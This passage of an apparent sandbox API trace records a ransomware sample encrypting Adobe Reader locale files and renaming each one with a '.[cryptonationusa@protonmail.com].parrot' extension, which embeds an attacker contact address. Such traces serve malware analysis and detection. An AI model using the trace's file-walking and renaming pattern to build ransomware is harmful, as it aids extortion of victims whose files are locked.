dwFlags=0x2) returned 1 [0260.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0260.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0260.179] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.179] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.181] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.181] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3800, lpOverlapped=0x0) returned 1 [0260.183] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.184] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.201] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.201] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.202] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.202] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4200, lpOverlapped=0x0) returned 1 [0260.203] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.204] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Search.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\search.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Search.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\search.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0260.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0260.210] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.211] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.214] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.214] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3200, lpOverlapped=0x0) returned 1 [0260.215] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.216] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SendMail.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\sendmail.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SendMail.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\sendmail.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.221] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0260.222] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0260.222] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.222] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0260.223] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0260.223] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0260.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.224] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0260.226] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.226] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x95f7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x95f7, lpOverlapped=0x0) returned 1 [0260.228] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.228] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0260.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0260.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.235] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0260.236] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.236] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe4, lpOverlapped=0x0) returned 1 [0260.237] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.237] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0260.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.240] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0260.242] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0260.242] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x27202ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x27202ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.242] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x271dca40, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x9718, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0260.243] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.243] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.297] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.298] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2200, lpOverlapped=0x0) returned 1 [0260.299] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.300] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Spelling.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\spelling.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Spelling.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\spelling.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.306] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.306] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.308] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.308] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2000, lpOverlapped=0x0) returned 1 [0260.309] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.311] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\updater.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\updater.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.318] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.318] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.319] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.320] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5600, lpOverlapped=0x0) returned 1 [0260.320] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.321] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Weblink.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\weblink.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Weblink.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\weblink.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0260.325] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0260.325] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x272c1280, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x272c1280, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.325] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x26b9d080, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x7f28, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0260.325] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0260.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0260.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0260.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0260.327] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0260.328] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.328] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.329] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.329] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa400, lpOverlapped=0x0) returned 1 [0260.331] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.360] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0260.367] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.367] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.368] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.369] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x61e00, lpOverlapped=0x0) returned 1 [0260.378] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.387] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0260.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.391] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0260.395] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.395] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.430] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.430] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 